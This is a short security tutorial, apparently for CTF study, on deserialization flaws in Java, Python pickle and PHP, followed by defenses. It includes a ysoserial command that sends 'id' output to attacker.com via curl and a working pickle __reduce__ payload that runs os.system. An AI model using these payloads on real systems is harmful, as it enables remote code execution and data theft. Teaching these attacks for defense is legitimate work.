46. Deserialization Vulnerabilities — Triggering RCE Through Object Deserialization
What is deserialization?
Serialization converts an object into a byte stream, JSON, XML, or another representation. Deserialization is the reverse process. The problem begins when untrusted data is deserialized.
If an attacker manipulates serialized data, the application may reconstruct a malicious object and expose itself to remote code execution (RCE) or even privilege escalation.
Java deserialization vulnerabilities
Java's ObjectInputStream.readObject() can deserialize any class on the classpath. If a library such
as Apache Commons Collections contains a gadget chain, arbitrary code execution becomes possible.
# Generate a payload with ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' | base64
Put this payload in a cookie or the HTTP body.
Python Pickle
Python's pickle.loads() is effectively a code executor.
import pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())
The __reduce__ magic method is called automatically during deserialization.
PHP Object Injection
PHP automatically invokes magic methods such as __wakeup() and __destruct() when unserialize() runs.
O:4:"User":1:{s:4:"name";s:6:"admin";}
Manipulate class properties to construct a gadget chain for file writes, code execution, and similar operations.
Detection and defense
- Wrap
ObjectInputStreamwith a custom filter (ObjectInputFilter) - Use
jsonormsgpackinstead ofpickle - Apply an HMAC signature to deserialization input
- Perform static analysis with tools such as Gadget Inspector
Patterns encountered in CTFs
The core of a CTF deserialization challenge is discovering the gadget chain. If source code is
available, trace magic methods first. Otherwise, use automated tools such as ysoserial or phpggc.
The correct answer to deserialization is: do not trust it.